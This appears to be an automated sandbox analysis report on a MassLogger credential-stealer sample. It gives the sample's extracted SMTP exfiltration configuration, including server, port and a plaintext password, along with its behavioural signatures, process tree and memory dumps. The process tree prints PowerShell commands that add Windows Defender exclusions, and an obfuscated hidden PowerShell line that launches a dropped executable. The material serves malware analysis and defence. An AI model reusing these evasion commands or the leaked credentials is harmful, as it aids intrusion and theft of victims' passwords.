Analysis
- max time kernel
149s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 10:43
General
- Target 9db47d46c9411cef28cb767455f523c0ed8bfdb9cb6a087b665fdab87d7741eb.exe
- Size 938KB
- Sample260910-msdfwavxby
- SHA256 9db47d46c9411cef28cb767455f523c0ed8bfdb9cb6a087b665fdab87d7741eb
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
@tf0794888229
-
host_port
587
-
host_receiver
result box: [email protected]
- host_sender
-
host_server
mail.atf-transformer.af
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\9db47d46c9411cef28cb767455f523c0ed8bfdb9cb6a087b665fdab87d7741eb.exe"C:\Users\Admin\AppData\Local\Temp\9db47d46c9411cef28cb767455f523c0ed8bfdb9cb6a087b665fdab87d7741eb.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\9db47d46c9411cef28cb767455f523c0ed8bfdb9cb6a087b665fdab87d7741eb.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$vuxp2p=$env:COMPUTERNAME;$ea1rqp=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$s353va=1759;$mvg5gg=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFZDWi5leGU=')));$jzezzp=[System.Environment]::TickCount;& $ea1rqp -FilePath $mvg5gg"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\VCZ.exe"C:\Users\Admin\AppData\Roaming\VCZ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VCZ.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_nuzx5emg.zr4.ps1
VCZ.exe
memory/620-32-0x000002258E940000-0x000002258E962000-memory.dmp
memory/4108-22-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4108-49-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4108-41-0x0000000006200000-0x0000000006250000-memory.dmp
memory/4108-21-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4108-50-0x0000000006520000-0x00000000066E2000-memory.dmp
memory/4108-20-0x0000000000400000-0x000000000041E000-memory.dmp
memory/4560-60-0x0000000007270000-0x0000000007313000-memory.dmp
memory/4560-54-0x0000000005C70000-0x0000000005FCB000-memory.dmp
memory/4560-56-0x0000000006020000-0x000000000606C000-memory.dmp
memory/4560-57-0x0000000073300000-0x000000007334C000-memory.dmp
memory/5604-7-0x0000000005860000-0x00000000058FC000-memory.dmp
memory/5604-8-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5604-13-0x00000000081A0000-0x0000000008258000-memory.dmp
memory/5604-12-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5604-11-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5604-10-0x0000000074B22000-0x0000000074B23000-memory.dmp
memory/5604-9-0x0000000007DC0000-0x0000000007DE4000-memory.dmp
memory/5604-14-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5604-6-0x0000000005790000-0x000000000579A000-memory.dmp
memory/5604-5-0x00000000052E0000-0x0000000005302000-memory.dmp
memory/5604-0-0x0000000074B22000-0x0000000074B23000-memory.dmp
memory/5604-27-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5604-4-0x00000000056F0000-0x0000000005782000-memory.dmp
memory/5604-3-0x0000000005390000-0x00000000056EB000-memory.dmp
memory/5604-2-0x0000000005950000-0x0000000005F0A000-memory.dmp
memory/5604-1-0x00000000006E0000-0x00000000007D0000-memory.dmp
memory/5856-23-0x0000000005370000-0x00000000053D6000-memory.dmp
memory/5856-36-0x0000000070F00000-0x0000000070F4C000-memory.dmp
memory/5856-39-0x00000000065D0000-0x00000000065F0000-memory.dmp
memory/5856-35-0x00000000071A0000-0x00000000071D6000-memory.dmp
memory/5856-40-0x00000000071F0000-0x0000000007293000-memory.dmp
memory/5856-28-0x0000000005C50000-0x0000000005C6E000-memory.dmp
memory/5856-42-0x0000000007970000-0x0000000007FEC000-memory.dmp
memory/5856-43-0x0000000007330000-0x000000000734A000-memory.dmp
memory/5856-44-0x00000000073A0000-0x00000000073AA000-memory.dmp
memory/5856-45-0x00000000075A0000-0x0000000007636000-memory.dmp
memory/5856-29-0x0000000006010000-0x000000000605C000-memory.dmp
memory/5856-48-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5856-24-0x0000000005A70000-0x0000000005AD6000-memory.dmp
memory/5856-17-0x0000000005420000-0x0000000005A6A000-memory.dmp
memory/5856-18-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5856-19-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5856-15-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/5856-16-0x0000000002770000-0x00000000027A6000-memory.dmp